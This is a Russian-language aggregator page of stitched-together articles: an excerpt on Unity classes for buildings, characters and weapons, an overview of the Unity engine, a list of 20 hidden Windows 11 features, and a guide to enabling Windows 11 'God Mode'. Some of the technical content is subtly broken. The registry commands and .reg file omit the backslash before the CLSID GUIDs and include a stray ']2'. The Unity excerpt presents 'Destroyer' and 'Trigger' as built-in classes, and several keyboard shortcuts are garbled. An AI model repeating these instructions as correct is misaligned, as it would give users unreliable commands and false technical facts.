Классы автомобилей в Unity могут быть настроены и расширены с помощью множества дополнительных функций и атрибутов. Это позволяет создавать уникальные и интересные автомобили для ваших игр. Удачного создания и настройки автомобилей в Unity!

Здания: типы и использование классов

Здания играют важную роль в создании виртуального мира. В Unity существуют различные типы зданий, каждый из которых имеет свои особенности и задачи. Для работы с зданиями в Unity используются специальные классы, обеспечивающие нужную функциональность.

Одним из основных типов зданий в Unity являются статичные здания. Данный тип зданий не движется и является основным элементом окружения. Для создания статичных зданий в Unity можно использовать классы GameObject и Transform. Класс GameObject представляет игровой объект, а класс Transform отвечает за его положение и преобразование в пространстве.

Для создания динамических зданий в Unity можно использовать классы Rigidbody и Collider. Класс Rigidbody позволяет объектам имитировать физическую силу, взаимодействуя с другими объектами в игре. Класс Collider определяет границы объекта и обрабатывает столкновения с другими объектами.

Еще одним типом зданий в Unity являются интерактивные здания. Они обладают различными возможностями взаимодействия с игроком, такими как открытие дверей, взаимодействие с предметами и т.д. Для создания интерактивных зданий в Unity используются классы Animator и Trigger, которые позволяют задавать анимации и управлять их воспроизведением.

Также в Unity можно создавать разрушаемые здания. Для этого используются классы Particle System и Destroyer. Класс Particle System позволяет создавать эффекты разрушения, а класс Destroyer отвечает за удаление разрушенных объектов.

Использование различных типов зданий и соответствующих классов позволяет создавать более реалистичные и интересные игровые миры в Unity. Выбор подходящих классов и настройка их параметров зависит от конкретных потребностей и задач игры.

Персонажи: классы и анимации

Одним из ключевых классов для управления персонажами в Unity является класс CharacterController. Этот класс позволяет осуществлять контроль за передвижением персонажа, его поворотом, а также обнаруживать столкновения с другими объектами.

Для создания анимаций персонажей в Unity используется система Mecanim. Mecanim предоставляет мощные средства для управления анимациями, позволяя задавать последовательность и параметры анимаций, переключать между ними и управлять их проигрыванием.

Для работы с анимациями в Unity необходимо создать анимационный контроллер. Анимационный контроллер объединяет различные анимации вместе и определяет условия перехода между ними. В самом простом случае анимационный контроллер может содержать всего одну анимацию для персонажа.

Кроме того, Unity предоставляет набор готовых анимаций для персонажей, которые могут быть использованы в игре. Например, анимации ходьбы, бега, прыжка и атаки. Эти анимации могут быть применены к персонажу при помощи специального компонента Animator.

В итоге, благодаря классам и анимациям, Unity предоставляет разработчикам мощные инструменты для создания и управления персонажами в играх. Это позволяет создавать реалистичные и интересные игровые персонажи, которые могут выполнять различные действия и взаимодействовать с окружающим миром.

Оружие: классы и их роли

В Unity оружие реализуется с использованием классов и их ролей. Существуют несколько основных классов оружия:

 

Класс Описание
Огнестрельное Оружие, которое стреляет пулями или снарядами. Включает в себя пистолеты, автоматы, снайперские винтовки и прочее.
Ближнего боя Оружие, предназначенное для атаки вблизи. Включает в себя мечи, кинжалы, топоры и другие режущие и колющие предметы.
Магическое Оружие, основанное на использовании магических способностей. Включает в себя посохи, жезлы, кольца и другие предметы, позволяющие использовать магические заклинания или эффекты.
Гранаты и взрывчатка Оружие, которое позволяет атаковать врагов с помощью гранат, взрывов и других взрывчатых веществ. Обычно используется для нанесения повреждений области.

 

Классы оружия в Unity определяют основные характеристики и функциональность оружия. В каждом классе могут быть свои уникальные методы и свойства, которые определяют, как оружие работает и взаимодействует с другими объектами в игре.

Выбор класса оружия зависит от задачи, которую игрок должен решить. Например, если игроку нужно атаковать врагов с дальней дистанции, то соответствующим выбором будет огнестрельное оружие. Если же игрок предпочитает ближний бой и рассчитывает на силу и скорость, то оружие ближнего боя будет более подходящим.

Важно помнить, что класс оружия определяет только его характеристики и функциональность в игре. Конкретные модели, текстуры и анимации оружия могут быть созданы и настроены отдельно от класса.

Продвинутые классы объектов Unity

1. NavMeshAgent

Класс NavMeshAgent позволяет объектам перемещаться по навигационной сетке (NavMesh) в Unity. Он автоматически рассчитывает путь и управляет перемещением объекта, учитывая преграды и другие факторы. Этот класс особенно полезен для создания искусственного интеллекта (AI) в играх, когда нужно сделать так, чтобы объекты имели способность самостоятельно перемещаться по сцене.

2. Animator

Класс Animator предназначен для управления анимациями объектов в Unity. С его помощью можно создавать и управлять состояниями и переходами между ними. Аниматор позволяет указывать, какие анимации должны проигрываться в зависимости от различных событий, таких как нажатие кнопки или заданное условие. Это незаменимый класс для создания реалистичных анимаций персонажей и объектов в играх.

3. AudioSource

Класс AudioSource служит для воспроизведения звуковых эффектов в Unity. Он позволяет загружать и проигрывать звуки из различных источников, таких как файлы аудио или потоковые источники. Класс AudioSource управляет громкостью, панорамой и другими параметрами звука, а также позволяет контролировать его воспроизведение — запускать, останавливать и перезапускать звуковые эффекты.

4. ParticleSystem

Класс ParticleSystem предназначен для создания и управления эффектами частиц в Unity. Он позволяет создавать разнообразные эффекты, такие как вспышки, дым, искры и дождь, путем задания различных параметров, таких как цвет, размер, скорость и направление частиц. ParticleSystem также позволяет управлять жизненным циклом частиц — создавать, уничтожать и обновлять их в реальном времени.

5. LineRenderer

Класс LineRenderer позволяет рисовать линии и маршруты в Unity. Он особенно полезен для создания графических эффектов, таких как лазерные лучи, траектории полета снарядов или визуализации пути движения объектов. LineRenderer позволяет задавать координаты вершин линий, контролировать их цвет, ширину, текстуру и другие параметры, а также анимировать их изменение во времени.

 

Источник:    peredelka38.ru

 



Фото

Unity — что это такое и в чем его особенности


Игровой движок Unity — самое популярное в мире приложение для создания игр. Он один уже больше десяти лет занимает треть рынка. На нем сделаны хитовые игры: Sons of the Forest, Lethal Company, Cult of the Lamb, Dave the Diver и сотни тысяч других проектов. 

Unity — что это?

Еще на заре программирования стало понятно, что рутинные задачи приходится выполнять многократно. Их стали собирать в готовые библиотеки и инструменты, которые впоследствии прижились и в игровой разработке. А самые сложные проекты, способные обработать графику и физику, стали называть игровыми движками.

Современные движки, в том числе Unity, содержат визуальный редактор игровых уровней и ресурсов, браузер файлов, средства для программирования и даже базовые компоненты для 3D-моделирования (хотя арт и звуки принято создавать отдельно). Именно движок помогает упаковать игру для нужных платформ, чтобы ее можно было запустить на компьютере, смартфоне или игровой приставке.

Основные особенности

На этом рынке движок Unity — мастер на все руки. Он не лучший по графике, не самый удобный в установке, да и по части оптимизации конкурентов хватает. Но Unity предлагает больше функционала и сценариев использования в одном пакете. Поэтому многим удобнее учить и применять для бизнеса именно его, а не балансировать между двумя-тремя альтернативами.

Современная графика

Уже в Unity 2019 вышла стабильная версия модуля HDRP (конвейер рендеринга высокого качества). Вместо одного общего рендера появилось два — URP для старых платформ и HDRP для более современных. С ним у разработчиков появилась возможность повысить качество материалов и освещения вплоть до фотореалистичного.

 

 

Набросать красочное небо с объемными облаками поверх реалистичных гор с деревьями стало делом буквально нескольких минут. К тому же доступна технология трассировки лучей для совместимых платформ.

Физика и взаимодействие

Для обработки физики доступны сразу несколько специальных движков. Легендарный коммерческий движок Havok остается частью платной подписки, а встроенный Unity Physics (на основе открытых технологий NVIDIA) и модули вроде Jolt доступны бесплатно. При этом 2D и 3D физика живут отдельно.

Симулировать можно твердые и упругие тела, одежду, транспорт, жидкости и некоторые эффекты. В последних обновлениях заметно улучшили симуляцию водных поверхностей, сделав возможным создание целых рек и морей без потери производительности.

Мультиплатформа

Большинство инструментов Unity, а также написанный код зачастую запустятся на всех платформах с минимальными доработками. Даже графику можно сразу делать в рамках URP (универсальный конвейер рендера) — в этом формате чуть меньше красот, но зато и результат получится совместимым даже со смартфонами.

Также компания уделяет внимание и нишевым платформам, например VR- и AR-шлемам вроде нового Apple Vision Pro. Да и поддержка браузерных игр с технологией WebGL пусть и потребует дополнительной оптимизации, но реализована лучше конкурентов.

Плагины и ассеты

При этом игру не обязательно делать самому — для типовых решений существуют бесплатные и коммерческие плагины и расширения, а графику в популярных стилях легко подключить, даже если она не была изначально задумана для Unity.

С помощью плагинов получится реализовать привычный интерфейс игры с главным меню и настройками, инвентарь или даже полноценную боевую систему. А с помощью графических ассетов получится сэкономить на создании своих моделей и рисунков.

Интуитивный редактор

Современные движки делают дизайн ярким и молодежным, уходят в повсеместные иконки и горячие клавиши, что может несколько напугать новичка. На вид красиво, но запутаться очень легко.

Unity старается называть вещи своими именами, сохраняя в меню и иконках многие текстовые подписи — кнопки, заголовки и разделы подписаны, так что не придется гадать и в панике наводить курсор на все подряд. Помогает и единообразие, как у Apple, когда все меню и разделы приложения созданы в общем дизайне, пока у Unreal каждый раздел как будто разное приложение.

Бесплатно

И, пожалуй, если искать корень успеха, то Unity можно использовать бесплатно. Первоначально проект продавали по лицензиям, но в октябре 2009 года инди-версию решили упразднить — программа «Юнити» для создания игр стала доступна для всех желающих без первоначального взноса. В то время Unreal Engine 3 стоил миллионы за лицензию на каждый проект, а Unity Technologies уже приглашали к себе всех желающих.

 

 

Сейчас условия стали даже более выгодными: бесплатную версию можно использовать, если физлицо или компания зарабатывает не более 200 тысяч долларов в год, доступна темная тема, ассеты, реклама, аналитика и большинство компонентов движка. Вскоре необязательным станет даже стартовый экран Made With Unity, который запомнился многим по расцвету инди-игр в начале десятых годов.

Преимущества Unity

Программирование C#

Главным языком в «Юнити» для создания игр и приложений остается C# (Си шарп) — писать на нем удобно, ошибки легко найти и исправить, а производительность получается весьма высокой. Язык куда проще C++ (применяемого в Unreal Engine) за счет автоматического управления памятью, а потому освоить его могут даже люди без технического склада ума.

 

 

Лидером по развитию проекта C# остается компания Microsoft, но язык также легко собирается для любых платформ, включая мобильные. И зачастую не требует менять основные функции проекта под новые платформы, а лишь добавить небольшие компоненты для удобства (например, управление с сенсорных экранов).

Визуальное программирование Bolt

Тем же, кто не может увидеть логику в тексте, стоит попробовать встроенный плагин Bolt. С ним игровые правила получится создавать с помощью блок-схем — в каждом узле можно получить данные, преобразовать и передать в другие части программы.

Например, блок может ждать нажатия кнопки пробел, а заметив активность, передать команду прыжка на персонажа. Или же враг может ждать, пока главный герой попадет в его прицел, а затем применить анимацию и логику стрельбы.

Такой подход называется визуальным программированием, ведь применяются наглядные блоки, да и многие изменения видно прямо на схеме без запуска игры.

Игровые ресурсы

Игровой движок «Юнити» ценится за модульный подход, когда можно взять объект и превратить его во что-то абсолютно другое за секунды — здесь содержимое определяет форму. Игра состоит из уровней, объектов и компонентов. Для начала создается уровень — это осязаемое и обозримое место в будущей игре, где можно собрать любые объекты. И именно уровень отображается в редакторе Unity как 3D-сцена.

На сцену добавляют объекты, а к ним компоненты — последние задают те свойства, которые будет иметь объект. Даже положение в пространстве — не обязательный параметр, а в одном предмете может быть сразу 3D-модель, физика, звук и скрипты, но этот же объект может управлять камерой или погодой.

Сложно представить что-то без положения, но к такому невидимому объекту, например, уже можно привязать кусочки кода, который будет влиять на всю сцену. Но еще лучше то, что любой объект можно запаковать для повторного использования — так создается десяток врагов на уровне или несколько подбираемых монеток. И при редактировании одного объекта обновятся сразу все.

Unity Asset Store

Компания также освоила и другой важный рынок, чтобы монетизировать модульный и бесплатный движок «Юнити», — встроенный магазин приложений Unity Asset Store. До Unity подобные сервисы либо жили отдельно от приложений, либо жестко управлялись издателем.

Но компания, вдохновляясь примером Apple, создала почти открытую среду, где любой может поделиться 2D и 3D-графикой, плагинами и даже целыми проектами. Сейчас в ассортименте почти сто тысяч товаров, многие из которых можно получить бесплатно. Благодаря этому запустить прототип игры в популярном жанре можно буквально за считанные дни из готовых ассетов.

Еще лучше то, что можно заработать на этом самому или с небольшой командой. Хорошие наборы 3D-моделей в общем стиле до сих пор очень ценятся (особенно элементы окружения). А уж анимированные персонажи могут продаваться за сотни долларов каждый.

Доход и монетизация

Для Unity игровой движок и его лицензии, как ни странно, — не главная статья доходов. Сделав ставку на бесплатный доступ 15 лет назад, в «Юнити» также запустили экосистему аналитики и собственную рекламную сеть Unity Ads. С их помощью любой разработчик может за минуты добавить к себе в проект типовые рекламные пресеты, популярные в мобильных играх. А компания собирает долю от всех доходов.

Доступны инструменты для поддержки внутриигровых покупок во всех популярных магазинах, а также быстрые заготовки для упаковки платных игр. Однако экспорт под консоли предоставляется только сертифицированным разработчикам в рамках платных лицензий.

Быстрая и гибкая платформа для программистов

Если Unreal стал в последние годы популярен среди 3D-художников, архитекторов и даже для производства сериалов, то Unity остается в первую очередь комфортной платформой для разработчиков игр, отдавая их нуждам приоритет.

В проекте куда меньше строгих и полностью готовых решений, но зато больше компонентов, из которых можно собрать что-то действительно свое. Крупные плагины тоже доступны, но уже в Unity Asset Store, благодаря чему интерфейс самого движка по умолчанию остается минималистичным и удобным. А принятые в движок решения сделаны по общему шаблону и не выглядят как десять отдельных программ.

В доступных на сегодня версиях улучшили трассировку лучей, HDR, адаптивную производительность и обновили эффекты камеры, включая блики от линз. Это может показаться незначительным, но такие блики крайне важны для создания убедительной картинки в современных 3D-играх. Также переработали прозрачность и подповерхностное рассеивание, что позволяет значительно улучшить и ускорить отображение живых существ, стекла и других полупрозрачных материалов.

Появились новые инструменты для создания водных поверхностей. Теперь разработчик может легко создать водоемы с учетом ландшафта и объектов сцены, добавить течение, пену, несколько уровней высоты и даже маски для исключения жидкости. Последнее важно, чтобы вода не отображалась, например, внутри кораблей или подводных помещений.

 

 

И, наконец, улучшили менеджер пакетов, чтобы подключать модули стало удобнее. Например, появились дочерние ассеты и вложенные проекты внутри модулей. Так, в HDRP доступна вкладка Samples, где можно ознакомиться со всеми новыми технологиями по фирменным проектам Unity.

Unity 6 и планы на будущее

Прошлой осенью на фоне рецессии в игровой индустрии Unity попытались провести оптимизацию бизнеса. Компания оставалась убыточной все время с момента основания, но раньше инвестиции в лидера отрасли текли рекой и аппетиты корпоративных боссов только росли — за последние годы среди купленных студий оказалась даже Weta Digital, знаменитая кузница эффектов для кино, включая «Властелин Колец» и «Аватар». А теперь, во время кризиса, от всех лишних активов пришлось резко избавляться.

Чтобы быстро покрыть расходы, в сентябре 2023 года боссы Unity решили ввести налог на каждую установку и даже переустановку игр, включая бесплатные и уже вышедшие, — таким образом многие проекты стали бы убыточными.

Идея подверглась серьезной критике, ее быстро отменили, уволили CEO Джона Ричителло и предложили более разумные варианты оплаты для клиентов. Но негатив не удалось остановить — тысячи разработчиков восприняли это как мотивацию искать замену для монополии. Крупные студии стараются перейти на Unreal Engine, а инди-разработчики освоили полностью бесплатный Godot Engine — аналог Blender в мире игровых движков. Многие боятся использовать движок «Юнити» для создания игр в будущем, опасаясь, что ситуация повторится.

Решение для Unity оказалось очевидным: теперь компания будет фокусироваться на игровом подразделении, обещает стать ближе к пользователям и даже вернет старый формат названий. Следующей версией станет Unity 6, а вовсе не Unity 2024. Наконец-то среди нововведений то, что пользователи действительно просят, — оптимизация больших уровней и улучшенное освещение. Кажется, что, несмотря на пережитый кризис, впереди у Unity светлое будущее.

 

 

Источник:   www.mvideo.ru

 

 



Фото

20 скрытых функций Windows 11


В этой статье мы расскажем о двадцати скрытых функций Windows 11, о которых вы могли не знать...

 

 

1. Классическое контекстное меню

Меню по правому клику в Windows 11 стало более минималистичным, часть действий в нём доступна через пиктограммы, а для показа дополнительных параметров теперь нужен лишний клик. Если вас, как и многих других пользователей, это раздражает, то классическое контекстное меню легко вернуть.

Для этого кликните правой кнопкой мыши по меню «Пуск», выберите «Терминал», а затем скопируйте и вставьте туда следующую команду:

reg.exe add "HKCU\Software\Classes\CLSID{86ca1aa0‑34aa‑4e8b‑a509‑50c905bae2a2}\InprocServer32" /f /ve

Перезагрузите компьютер, чтобы изменения вступили в силу.

 

2. Голосовой ввод

 

Для набора текста не обязательно печатать его вручную с клавиатуры. Вместо этого удобнее воспользоваться диктовкой, которая отлично распознаёт русский и другие языки и даже умеет расставлять знаки препинания. Просто поставьте курсор в поле ввода, нажмите Win + H и говорите.

По клику на шестерёнку можно включить в параметрах опцию «Средство запуска голосового ввода», и тогда панель диктовки будет активироваться в свёрнутом виде автоматически при постановке курсора в любое поле ввода. Но чтобы начать наговаривать текст, нужно будет нажать Win + H или кликнуть по иконке микрофона.

 

3. Пространственный звук

 

 

В актуальной ОС Microsoft есть функция Windows Sonic, которая является встроенной системой пространственного звука для улучшения восприятия видео и игр. Лучше всего она работает при использовании многоканальных наушников и соответствующего контента. Однако даже в обычной гарнитуре и играх или видео без поддержки 3D‑звука разница ощутима.

Активировать опцию можно прямо из панели задач. Кликните по значку динамика, откройте расширенные настройки и выберите Windows Sonic for Headphones.

 

4. Резервное копирование Windows

 

 

При покупке нового ПК или использовании сразу нескольких компьютеров настраивать заново каждый из них необязательно. Благодаря функции резервного копирования все пользовательские папки и файлы, настройки приложений, параметры системы, а также данные аккаунтов, включая пароли, могут автоматически синхронизироваться.

Нажмите Win + I для открытия «Параметров», перейдите в раздел «Учётные записи» → «Архивация Windows» и включите нужные тумблеры.

 

5. Статистика использования батареи

 

 

Функция детальной статистики работы от аккумулятора пригодится не только для анализа энергоэффективности приложений, но и как аналог «Экранного времени». То есть можно узнать, сколько использовалась та или иная программа за последние сутки или неделю.

Откройте «Параметры», нажав Win + I, и перейдите в пункт «Система» → «Питание и батарея». Можно отсортировать информацию по различным критериям или найти определённое приложение поиском.

 

6. Контроль памяти

 

 

Благодаря данной функции встроенный накопитель не будет засоряться ненужными и временными файлами, что позволит сэкономить место на диске и потенциально может улучшить производительность компьютера.

Для активации нажмите Win + I, затем откройте раздел «Система» → «Память» → «Контроль памяти». Включите тумблер «Автоматическая очистка пользовательского содержимого», установите необходимые параметры расписания. По умолчанию это удаление временных файлов системы и запуск при недостатке места для чистки «Корзины» раз в месяц. Можно также активировать удаление файлов в загрузках, если они не используются в течение определённого периода.

 

7. Запись экрана

 

 

С помощью встроенного инструмента снимков экрана «Ножницы» можно не только делать скриншоты, но и записывать видео всего рабочего стола, определённой области экрана или окна.

Для этого через поиск или сочетанием Win + Shift + S вызовите «Ножницы», переключитесь в режим видео, а затем выделите нужную область и нажмите на кнопку записи.

 

8. Панель Game Bar

 

 

Эта функция может пригодиться, даже если у вас нет Xbox и вы не играете в игры. Панель вызывается сочетанием Win + G и содержит массу полезных инструментов. Например, виджеты производительности, захвата экрана, аудионастроек, чата с друзьями. Всё это можно расположить в нужных местах экрана, настроив прозрачность и элементы панелей.

 

9. Виртуальные рабочие столы

 

 

Они помогут разграничить рабочее и личное пространства либо создать отдельные области под различные задачи. Можно добавить несколько столов, поместив на них определённые окна и приложения, а затем легко переключаться между ними.

Для этого наведите курсор на кнопку «Представление задач» на панели и выберите «Создать рабочий стол». Переключаться между пространствами можно отсюда же или сочетаниями Win + Ctrl + →Win + Ctrl + ←. Для лучшего визуального различия удобно установить на каждый рабочий стол свои обои.

 

10. Режим фокусировки

 

 

Когда нужно сосредоточиться и быть продуктивным, выручит функция фокусировки. Помимо запуска таймера, который можно использовать для работы по технике Pomodoro, опция активирует режим «Не беспокоить», скрывает количество непрочитанных уведомлений и отключает мигание иконок на панели задач.

Активировать фокусировку можно через настройки, из стандартного приложения «Часы», но проще всего — из панели уведомлений по клику на дату. Это запустит «Часы», где можно при желании дополнительно установить цели, синхронизировать задачи и включить музыку для продуктивной работы.

 

11. Разделение экрана

 

 

Быстро распределить экранное пространство между открытыми окнами без возни с их перетаскиванием и изменением размеров поможет функция Snap. Всего в пару кликов можно разместить два, три или четыре приложения согласно выбранному макету.

Для этого задержите курсор над кнопкой разворачивания окна и выберите нужный шаблон. Либо воспользуйтесь сочетанием Win + Z, а затем нажмите цифру макета и место окна на нём.

 

12. Встряхивание для сворачивания окон

 

Эта возможность пригодится в ситуациях, когда нужно среди множества открытых окон оставить лишь активное, а все остальные свернуть. Для этого возьмитесь за заголовок окна и слегка потрясите. Но сначала придётся открыть раздел «Параметры» → «Система» → «Многозадачность» и включить тумблер «Встряхивание заголовка окна».

 

13. Просмотр рабочего стола

 

 

Microsoft убрала с панели задач кнопку, позволяющую свернуть все окна, но такая возможность по‑прежнему осталась. Нужно лишь отвести мышь в правый нижний угол и сделать клик. Можно даже не глядя. Повторное нажатие восстановит свёрнутые окна. Кстати, сочетание Win + < работает так же — если вам больше по душе шорткаты.

 

14. Выравнивание панели задач

 

 

Кнопка «Пуск» по центру панели задач сильно раздражала многих пользователей, которым привычно видеть её слева. Для перемещения умельцы даже выпускали специальные утилиты. К счастью, сейчас это легко сделать штатными средствами.

Для этого кликните правой кнопкой мыши по панели задач и выберите «Параметры панели задач», а затем в разделе «Поведение панели задач» установите вариант выравнивания слева.

 

15. Избранные папки в меню «Пуск»

 

 

В стартовом меню собрано множество полезных вещей, но его можно сделать удобнее, закрепив папки «Загрузки», «Документы», «Музыка» и другие по вашему выбору. Они будут отображаться рядом с кнопкой питания. Для включения функции перейдите в «Параметры» сочетанием Win + I, после чего в разделе «Персонализация» → «Пуск» → «Папки» укажите нужные.

 

16. Горячие клавиши панели задач

Запускать закреплённые на панели задач приложения и переключаться между ними, а также между открытыми окнами, необязательно с помощью мыши. Для ускорения рабочего процесса это можно делать прямо с клавиатуры, сочетаниями Win + 1Win + 2 и так далее в соответствии с номером иконки. Отсчёт начинается с тех, что вы прикрепили сами, — стандартные не учитываются.

 

17. Изменение быстрых настроек

 

 

Меню быстрых настроек в трее панели задач можно изменить под свои нужды, удалив неиспользуемые опции, добавив более востребованные или расположив их в другом порядке. Делается это довольно просто: откройте меню и кликните по карандашу, а затем нажмите на значок перечёркнутой скрепки для удаления или на кнопку «Добавить», чтобы расширить набор действий.

 

18. Отключение микрофона чата

 

 

Активные участники созвонов оценят функцию отключения микрофона текущей конференции, что позволит избежать курьёзных ситуаций, когда необходимо ответить по «другой линии». Микрофон чата можно выключить в один клик по иконке на панели задач или сочетанием Windows + Alt + K. Пока что это применимо только для Microsoft Teams, но сторонним разработчикам скоро должны открыть API, так что в будущем функция наверняка начнёт действовать и с другими приложениями.

 

19. Меню выбора эмодзи

 

 

Если часто пользуетесь смайликами в переписке, то эта функция вам наверняка понравится. Для быстрого вызова панели вставки эмодзи просто нажмите Windows + > и выберите нужный вариант. Помимо стандартных смайликов здесь также доступны каомодзи, различные служебные символы и поиск гифок.

 

20. Вставка даты и времени в «Блокноте»

 

 

Встроенный текстовый редактор довольно примитивен по сравнению со сторонними приложениями, но при этом он идеально удовлетворяет нужды большинства рядовых пользователей. Впрочем, и здесь появляются полезные фичи, например мгновенная вставка в текст текущей даты и времени по нажатию клавиши F5. То же самое, к слову, можно сделать и через меню «Изменить» → «Время и дата». Но с клавиатуры однозначно быстрее, особенно при наборе текста.

 

 

Источник:   lifehacker.ru

 

 



Фото

Pежим бога в Windows 11 и зачем он нужен


Сегодня мы поговорим о функции, которая позволяет получить доступ к огромному количеству настроек вашей операционной системы — режим бога в Windows 11. Этот режим давно известен опытным пользователям Windows, и сейчас мы подробно расскажем, что это такое и как его активировать в Windows 11.

Режим бога, или God Mode, — это не какая-то секретная функция, дарующая сверхспособности вашему компьютеру, а скорее удобный способ организации сотен настроек Windows 11 в одном месте.

Этот режим помогает обойтись без утомительного блуждания по разрозненным меню «Параметры» или «Панель управления», которые в Windows 11 сильно визуально изменены в сравнении с привычной многим десяткой. 

Фактически, режим бога объединяет все настройки и существенно упрощает их поиск. Он включает в себя около 200–211 различных параметров, сгруппированных по областям, таким как брандмауэр, подключенные устройства, безопасность или управление пользователями.

Все эти параметры имеют свои ключевые слова на русском и английском языках, что облегчает их поиск. 

Этот режим существует, еще со времен Windows Vista, и его актуальность в Windows 11 ничуть не уменьшилась, особенно учитывая, что некоторые параметры были скрыты из панели управления.

Как это работает

Механизм работы режима бога в Windows 11 основан на использовании уникальных идентификаторов системных элементов, известных как GUID (Globally Unique Identifier). Это уникальные строки из тридцати двух шестнадцатеричных цифр, которые Windows использует для идентификации папок и системных элементов управления. Идентификатор, используемый для создания папки режима бога — {ED7BA470-8E54-465E-825C-99712043E01C} — позволяет получить доступ к огромному перечню параметров Windows 11. Интересно, что сам этот идентификатор для режима бога не указан в официальных списках GUID на сайте Microsoft, хотя там можно найти идентификаторы для других системных папок и элементов панели управления.

По сути, режим бога — это не что иное, как папка, содержащая ярлыки для всех параметров операционной системы, доступных на панели управления. Он является очень практичным инструментом для пользователей, которые хотят иметь полный контроль над системой, позволяя быстрее и удобнее находить нужные настройки без необходимости перемещаться по запутанному интерфейсу.

В Windows 11, где Microsoft продолжает развивать современное меню «Параметры», скрывая традиционную «Панель управления», режим бога становится особенно актуальным. Он позволяет получить прямой доступ к таким функциям, как изменение переменных среды, которые иначе требуют нескольких шагов через меню «Параметры» или «Панель управления». Количество элементов в папке режима бога может достигать 211, включая оптимизацию диска и многочисленные диагностические инструменты.

Режим бога — это, по сути, место, объединяющее все системные опции и инструменты, расположенные в алфавитном порядке, что существенно ускоряет поиск нужных настроек. Это делает его незаменимым инструментом для тех, кто часто работает с системными параметрами.

Как включить режим в Windows 11 

Самый простой и распространенный способ активировать режим бога в Windows 11 — это создать специальную папку. Вы можете выбрать любое удобное для вас место, даже рабочий стол. Главное условие — правильно задать ей название: 

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

После нажатия Enter, набор символов (GUID) исчезнет, а иконка папки сменится на значок панели управления Windows. 

Откройте эту папку, чтобы получить доступ ко всем настройкам. Количество элементов может варьироваться в зависимости от версии Windows 11, но обычно их более 200. Все они сгруппированы по областям настройки, что делает поиск нужного параметра еще проще. 

Поскольку эта папка является обычной, вы можете легко копировать ярлыки настроек прямо на рабочий стол для еще более быстрого доступа, просто перетащив нужный параметр. 

 

Если этот режим в виде папки больше не нужен, его можно просто удалить, как и любую другую папку, а при необходимости создать снова.

Создание ярлыка для режима бога

Если вы хотите иметь возможность задать собственное имя для ярлыка режима бога, можно использовать метод создания ярлыка. Этот способ предоставляет большую гибкость в именовании, что не всегда возможно при создании папки напрямую. Для этого, как и в случае с папкой, нажмите правой кнопкой мыши в любом удобном для вас месте — на рабочем столе или в папке, затем выберите «Создать» и «Ярлык». В появившемся поле «Укажите расположение объекта» вам нужно ввести следующую строку: 

explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}

 

После этого нажмите «Далее» и введите желаемое имя для ярлыка, например, «Режим бога» или «Все параметры». Завершите процесс, нажав «Готово». Созданный ярлык будет работать так же, как и папка режима бога, предоставляя доступ ко всем настройкам. 

Этот ярлык можно закрепить на панели задач или в меню «Пуск» Windows 11 для быстрого доступа. Кроме того, вы можете легко сменить отображаемый значок ярлыка через его свойства.

Добавление режима бога в панель управления

Если вариант с папкой или ярлыком вас не устраивает, существует способ добавить режим бога в панель управления Windows 11 в виде значка. Этот метод требует внесения изменений в реестр, но делается это довольно просто с помощью .reg файла. Для начала откройте приложение «Блокнот» или любой другой текстовый редактор, который можно найти через «Пуск». Вставьте в него следующее содержимое:

 

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]2

@="Режим бога"

"InfoTip"="Все элементы"

"System.ControlPanel.Category"="5"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}\DefaultIcon]

@="%SystemRoot%\System32\imageres.dll,-27″

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}\Shell\Open\Command]

@="explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]

@="Режим бога"

 

Сохраните файл с любым именем, но обязательно добавьте в конце расширение .reg и укажите тип файла «Все файлы». Кодировка при этом должна быть UTF-8, чтобы кириллица отображалась корректно. После сохранения дважды кликните по созданному файлу и подтвердите внесение изменений в реестр. Возможно, потребуется перезагрузить компьютер, после чего откройте «Панель управления», и вы увидите там новый значок режима бога. Двойной клик по этому значку откроет ту же папку с настройками, которую мы создавали ранее. 

Если вы решите удалить этот режим из панели управления, вам придется вручную искать и удалять соответствующие ключи реестра. Это отличие от папки, которую можно просто переместить в «Корзину».

Другие способы

Помимо создания папки и ярлыка, существуют и другие методы доступа к этому обширному списку параметров. Например, некоторые сторонние утилиты, такие как бесплатное приложение Win10 All Settings, также могут предоставить доступ к этим настройкам, как в Windows 10, так и в Windows 11. Однако, методы, описанные выше — создание папки или ярлыка, а также добавление в панель управления через реестр — являются встроенными средствами операционной системы и не требуют установки дополнительного ПО. Это делает их более безопасными и предпочтительными.

 

Источник:   tehnichka.pro

 



Предыдущая     1 2 3 4 5    Следующая